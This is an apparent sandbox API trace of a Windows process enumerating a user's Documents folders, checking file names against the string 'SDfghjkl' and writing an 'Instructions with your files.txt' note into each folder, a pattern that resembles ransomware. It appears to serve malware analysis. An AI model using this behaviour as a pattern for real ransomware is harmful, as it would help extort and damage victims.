[0131.601] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\68-0KWlXR\\JOF6u9FOMAcwWqmn\\WGTaom1UYyLL_4FYAvS\\*") returned 92
[0131.601] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\68-0KWlXR\\JOF6u9FOMAcwWqmn\\WGTaom1UYyLL_4FYAvS\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e161b60, ftCreationTime.dwHighDateTime=0x1d5c060, ftLastAccessTime.dwLowDateTime=0x979ce3e0, ftLastAccessTime.dwHighDateTime=0x1d5be8f, ftLastWriteTime.dwLowDateTime=0x979ce3e0, ftLastWriteTime.dwHighDateTime=0x1d5be8f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0131.604] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\68-0KWlXR\\JOF6u9FOMAcwWqmn\\WGTaom1UYyLL_4FYAvS\\.") returned 92
[0131.604] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e161b60, ftCreationTime.dwHighDateTime=0x1d5c060, ftLastAccessTime.dwLowDateTime=0x979ce3e0, ftLastAccessTime.dwHighDateTime=0x1d5be8f, ftLastWriteTime.dwLowDateTime=0x979ce3e0, ftLastWriteTime.dwHighDateTime=0x1d5be8f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.604] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\68-0KWlXR\\JOF6u9FOMAcwWqmn\\WGTaom1UYyLL_4FYAvS\\..") returned 93
[0131.604] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf579ef20, ftCreationTime.dwHighDateTime=0x1d5b5fd, ftLastAccessTime.dwLowDateTime=0x4d34040, ftLastAccessTime.dwHighDateTime=0x1d5c349, ftLastWriteTime.dwLowDateTime=0x4d34040, ftLastWriteTime.dwHighDateTime=0x1d5c349, nFileSizeHigh=0x0, nFileSizeLow=0xaf9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="z99VS-yTBhe9.ppt", cAlternateFileName="Z99VS-~1.PPT")) returned 1
[0131.604] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\68-0KWlXR\\JOF6u9FOMAcwWqmn\\WGTaom1UYyLL_4FYAvS\\z99VS-yTBhe9.ppt") returned 107
[0131.604] StrStrIW (lpFirst="z99VS-yTBhe9.ppt", lpSrch="SDfghjkl") returned 0x0
[0131.604] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf579ef20, ftCreationTime.dwHighDateTime=0x1d5b5fd, ftLastAccessTime.dwLowDateTime=0x4d34040, ftLastAccessTime.dwHighDateTime=0x1d5c349, ftLastWriteTime.dwLowDateTime=0x4d34040, ftLastWriteTime.dwHighDateTime=0x1d5c349, nFileSizeHigh=0x0, nFileSizeLow=0xaf9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="z99VS-yTBhe9.ppt", cAlternateFileName="Z99VS-~1.PPT")) returned 0
[0131.604] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\68-0KWlXR\\JOF6u9FOMAcwWqmn\\WGTaom1UYyLL_4FYAvS\\Instructions with your files.txt") returned 123
[0131.604] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\68-0KWlXR\\JOF6u9FOMAcwWqmn\\WGTaom1UYyLL_4FYAvS\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\68-0kwlxr\\jof6u9fomacwwqmn\\wgtaom1uyyll_4fyavs\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0131.605] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0131.606] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0131.606] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0131.606] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0131.606] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0131.606] CloseHandle (hObject=0x118) returned 1
[0131.606] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0131.606] GetProcessHeap () returned 0x810000
[0131.606] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0131.606] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bcfe4d0, ftCreationTime.dwHighDateTime=0x1d5c493, ftLastAccessTime.dwLowDateTime=0x888478e0, ftLastAccessTime.dwHighDateTime=0x1d5bfd5, ftLastWriteTime.dwLowDateTime=0x888478e0, ftLastWriteTime.dwHighDateTime=0x1d5bfd5, nFileSizeHigh=0x0, nFileSizeLow=0x103c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Z6AXsR8CpEpOm6xjvaR.pptx", cAlternateFileName="Z6AXSR~1.PPT")) returned 1
[0131.606] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\68-0KWlXR\\JOF6u9FOMAcwWqmn\\Z6AXsR8CpEpOm6xjvaR.pptx") returned 95
[0131.606] StrStrIW (lpFirst="Z6AXsR8CpEpOm6xjvaR.pptx", lpSrch="SDfghjkl") returned 0x0
[0131.606] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bcfe4d0, ftCreationTime.dwHighDateTime=0x1d5c493, ftLastAccessTime.dwLowDateTime=0x888478e0, ftLastAccessTime.dwHighDateTime=0x1d5bfd5, ftLastWriteTime.dwLowDateTime=0x888478e0, ftLastWriteTime.dwHighDateTime=0x1d5bfd5, nFileSizeHigh=0x0, nFileSizeLow=0x103c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Z6AXsR8CpEpOm6xjvaR.pptx", cAlternateFileName="Z6AXSR~1.PPT")) returned 0
[0131.606] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\68-0KWlXR\\JOF6u9FOMAcwWqmn\\Instructions with your files.txt") returned 103
[0131.606] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\68-0KWlXR\\JOF6u9FOMAcwWqmn\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\68-0kwlxr\\jof6u9fomacwwqmn\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0131.607] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0131.608] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0131.608] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0131.608] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0131.608] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0131.608] CloseHandle (hObject=0x114) returned 1
[0131.608] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0131.608] GetProcessHeap () returned 0x810000
[0131.608] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0131.608] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b4e5bc0, ftCreationTime.dwHighDateTime=0x1d5bd94, ftLastAccessTime.dwLowDateTime=0x10624910, ftLastAccessTime.dwHighDateTime=0x1d5c295, ftLastWriteTime.dwLowDateTime=0x10624910, ftLastWriteTime.dwHighDateTime=0x1d5c295, nFileSizeHigh=0x0, nFileSizeLow=0x15c04, dwReserved0=0x0, dwReserved1=0x0, cFileName="KZfn_v.doc", cAlternateFileName="")) returned 1
[0131.608] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\68-0KWlXR\\KZfn_v.doc") returned 64
[0131.608] StrStrIW (lpFirst="KZfn_v.doc", lpSrch="SDfghjkl") returned 0x0
[0131.608] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248ba1d0, ftCreationTime.dwHighDateTime=0x1d5c5b9, ftLastAccessTime.dwLowDateTime=0x1129d5b0, ftLastAccessTime.dwHighDateTime=0x1d5b5da, ftLastWriteTime.dwLowDateTime=0x1129d5b0, ftLastWriteTime.dwHighDateTime=0x1d5b5da, nFileSizeHigh=0x0, nFileSizeLow=0x21a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="NPGr.pptx", cAlternateFileName="NPGR~1.PPT")) returned 1
[0131.608] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\68-0KWlXR\\NPGr.pptx") returned 63
[0131.608] StrStrIW (lpFirst="NPGr.pptx", lpSrch="SDfghjkl") returned 0x0
[0131.608] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19a76b90, ftCreationTime.dwHighDateTime=0x1d5c547, ftLastAccessTime.dwLowDateTime=0x629f9850, ftLastAccessTime.dwHighDateTime=0x1d5b646, ftLastWriteTime.dwLowDateTime=0x629f9850, ftLastWriteTime.dwHighDateTime=0x1d5b646, nFileSizeHigh=0x0, nFileSizeLow=0xc892, dwReserved0=0x0, dwReserved1=0x0, cFileName="PtasJou.xls", cAlternateFileName="")) returned 1
[0131.608] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\68-0KWlXR\\PtasJou.xls") returned 65
[0131.608] StrStrIW (lpFirst="PtasJou.xls", lpSrch="SDfghjkl") returned 0x0
[0131.608] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cf318b0, ftCreationTime.dwHighDateTime=0x1d5b70b, ftLastAccessTime.dwLowDateTime=0x6e64c0d0, ftLastAccessTime.dwHighDateTime=0x1d5b9ba, ftLastWriteTime.dwLowDateTime=0x6e64c0d0, ftLastWriteTime.dwHighDateTime=0x1d5b9ba, nFileSizeHigh=0x0, nFileSizeLow=0x130f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ybLkQRl.odt", cAlternateFileName="")) returned 1
[0131.608] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\68-0KWlXR\\ybLkQRl.odt") returned 65
[0131.608] StrStrIW (lpFirst="ybLkQRl.odt", lpSrch="SDfghjkl") returned 0x0
[0131.608] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cf318b0, ftCreationTime.dwHighDateTime=0x1d5b70b, ftLastAccessTime.dwLowDateTime=0x6e64c0d0, ftLastAccessTime.dwHighDateTime=0x1d5b9ba, ftLastWriteTime.dwLowDateTime=0x6e64c0d0, ftLastWriteTime.dwHighDateTime=0x1d5b9ba, nFileSizeHigh=0x0, nFileSizeLow=0x130f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ybLkQRl.odt", cAlternateFileName="")) returned 0
[0131.608] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\68-0KWlXR\\Instructions with your files.txt") returned 86
[0131.608] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\68-0KWlXR\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\68-0kwlxr\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0131.609] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0131.610] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0131.610] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0131.610] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0131.610] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0131.610] CloseHandle (hObject=0x110) returned 1
[0131.610] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0131.610] GetProcessHeap () returned 0x810000
[0131.610] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x854bc0 | out: hHeap=0x810000) returned 1
[0131.610] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a21f590, ftCreationTime.dwHighDateTime=0x1d59a47, ftLastAccessTime.dwLowDateTime=0x6045f730, ftLastAccessTime.dwHighDateTime=0x1d59755, ftLastWriteTime.dwLowDateTime=0x6045f730, ftLastWriteTime.dwHighDateTime=0x1d59755, nFileSizeHigh=0x0, nFileSizeLow=0x603a, dwReserved0=0x0, dwReserved1=0x0, cFileName="7JCjml25pZDtdxzlQ.xlsx", cAlternateFileName="7JCJML~1.XLS")) returned 1
[0131.610] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\7JCjml25pZDtdxzlQ.xlsx") returned 66
[0131.610] StrStrIW (lpFirst="7JCjml25pZDtdxzlQ.xlsx", lpSrch="SDfghjkl") returned 0x0
[0131.610] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c8a230, ftCreationTime.dwHighDateTime=0x1d54f33, ftLastAccessTime.dwLowDateTime=0x5f5c13f0, ftLastAccessTime.dwHighDateTime=0x1d5a61d, ftLastWriteTime.dwLowDateTime=0x5f5c13f0, ftLastWriteTime.dwHighDateTime=0x1d5a61d, nFileSizeHigh=0x0, nFileSizeLow=0x130d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="7leds3d_v.docx", cAlternateFileName="7LEDS3~1.DOC")) returned 1
[0131.610] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\7leds3d_v.docx") returned 58
[0131.610] StrStrIW (lpFirst="7leds3d_v.docx", lpSrch="SDfghjkl") returned 0x0
[0131.610] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74807d00, ftCreationTime.dwHighDateTime=0x1d5bfd3, ftLastAccessTime.dwLowDateTime=0xa7f1f5d0, ftLastAccessTime.dwHighDateTime=0x1d5c3a5, ftLastWriteTime.dwLowDateTime=0xa7f1f5d0, ftLastWriteTime.dwHighDateTime=0x1d5c3a5, nFileSizeHigh=0x0, nFileSizeLow=0x1458, dwReserved0=0x0, dwReserved1=0x0, cFileName="8X_9Z.odt", cAlternateFileName="")) returned 1
[0131.610] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8X_9Z.odt") returned 53
[0131.610] StrStrIW (lpFirst="8X_9Z.odt", lpSrch="SDfghjkl") returned 0x0
[0131.611] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d1986f0, ftCreationTime.dwHighDateTime=0x1d552b9, ftLastAccessTime.dwLowDateTime=0xde526f20, ftLastAccessTime.dwHighDateTime=0x1d5b5da, ftLastWriteTime.dwLowDateTime=0xde526f20, ftLastWriteTime.dwHighDateTime=0x1d5b5da, nFileSizeHigh=0x0, nFileSizeLow=0x76c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="BK_H9GpEJCZ Q8dp.xlsx", cAlternateFileName="BK_H9G~1.XLS")) returned 1
[0131.611] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BK_H9GpEJCZ Q8dp.xlsx") returned 65
[0131.611] StrStrIW (lpFirst="BK_H9GpEJCZ Q8dp.xlsx", lpSrch="SDfghjkl") returned 0x0
[0131.611] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03941c0, ftCreationTime.dwHighDateTime=0x1d5b989, ftLastAccessTime.dwLowDateTime=0x323bf10, ftLastAccessTime.dwHighDateTime=0x1d5b762, ftLastWriteTime.dwLowDateTime=0x323bf10, ftLastWriteTime.dwHighDateTime=0x1d5b762, nFileSizeHigh=0x0, nFileSizeLow=0x60a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cGtHJu53RqVAEqRv.rtf", cAlternateFileName="CGTHJU~1.RTF")) returned 1
[0131.611] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\cGtHJu53RqVAEqRv.rtf") returned 64
[0131.611] StrStrIW (lpFirst="cGtHJu53RqVAEqRv.rtf", lpSrch="SDfghjkl") returned 0x0
[0131.611] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x384b4110, ftCreationTime.dwHighDateTime=0x1d561f7, ftLastAccessTime.dwLowDateTime=0xd10d0bc0, ftLastAccessTime.dwHighDateTime=0x1d5c4dc, ftLastWriteTime.dwLowDateTime=0xd10d0bc0, ftLastWriteTime.dwHighDateTime=0x1d5c4dc, nFileSizeHigh=0x0, nFileSizeLow=0x723d, dwReserved0=0x0, dwReserved1=0x0, cFileName="CqVd8RS_KdJ5.docx", cAlternateFileName="CQVD8R~1.DOC")) returned 1
[0131.611] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CqVd8RS_KdJ5.docx") returned 61
[0131.611] StrStrIW (lpFirst="CqVd8RS_KdJ5.docx", lpSrch="SDfghjkl") returned 0x0
[0131.611] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdcdb810, ftCreationTime.dwHighDateTime=0x1d5be26, ftLastAccessTime.dwLowDateTime=0xfe40f020, ftLastAccessTime.dwHighDateTime=0x1d5b82f, ftLastWriteTime.dwLowDateTime=0xfe40f020, ftLastWriteTime.dwHighDateTime=0x1d5b82f, nFileSizeHigh=0x0, nFileSizeLow=0x7f41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Csrn_YXoxokhQ31v.odt", cAlternateFileName="CSRN_Y~1.ODT")) returned 1
[0131.611] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Csrn_YXoxokhQ31v.odt") returned 64
[0131.611] StrStrIW (lpFirst="Csrn_YXoxokhQ31v.odt", lpSrch="SDfghjkl") returned 0x0
[0131.611] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaa43c00, ftCreationTime.dwHighDateTime=0x1d54c89, ftLastAccessTime.dwLowDateTime=0x33b85850, ftLastAccessTime.dwHighDateTime=0x1d5bd45, ftLastWriteTime.dwLowDateTime=0x33b85850, ftLastWriteTime.dwHighDateTime=0x1d5bd45, nFileSizeHigh=0x0, nFileSizeLow=0x11a77, dwReserved0=0x0, dwReserved1=0x0, cFileName="cz myiR.pptx", cAlternateFileName="CZMYIR~1.PPT")) returned 1
[0131.611] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\cz myiR.pptx") returned 56
[0131.611] StrStrIW (lpFirst="cz myiR.pptx", lpSrch="SDfghjkl") returned 0x0
[0131.611] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d207440, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0131.611] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\desktop.ini") returned 55
[0131.611] StrStrIW (lpFirst="desktop.ini", lpSrch="SDfghjkl") returned 0x0
[0131.611] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x301e260, ftCreationTime.dwHighDateTime=0x1d5b766, ftLastAccessTime.dwLowDateTime=0x3294bde0, ftLastAccessTime.dwHighDateTime=0x1d5c23d, ftLastWriteTime.dwLowDateTime=0x3294bde0, ftLastWriteTime.dwHighDateTime=0x1d5c23d, nFileSizeHigh=0x0, nFileSizeLow=0x13aec, dwReserved0=0x0, dwReserved1=0x0, cFileName="E6Zaoolo.xls", cAlternateFileName="")) returned 1
[0131.611] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\E6Zaoolo.xls") returned 56
[0131.611] StrStrIW (lpFirst="E6Zaoolo.xls", lpSrch="SDfghjkl") returned 0x0
[0131.611] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe748dc0, ftCreationTime.dwHighDateTime=0x1d55e9f, ftLastAccessTime.dwLowDateTime=0x4a113b40, ftLastAccessTime.dwHighDateTime=0x1d54175, ftLastWriteTime.dwLowDateTime=0x4a113b40, ftLastWriteTime.dwHighDateTime=0x1d54175, nFileSizeHigh=0x0, nFileSizeLow=0x17ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="eq-3Q5XC.docx", cAlternateFileName="EQ-3Q5~1.DOC")) returned 1
[0131.611] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\eq-3Q5XC.docx") returned 57
[0131.611] StrStrIW (lpFirst="eq-3Q5XC.docx", lpSrch="SDfghjkl") returned 0x0
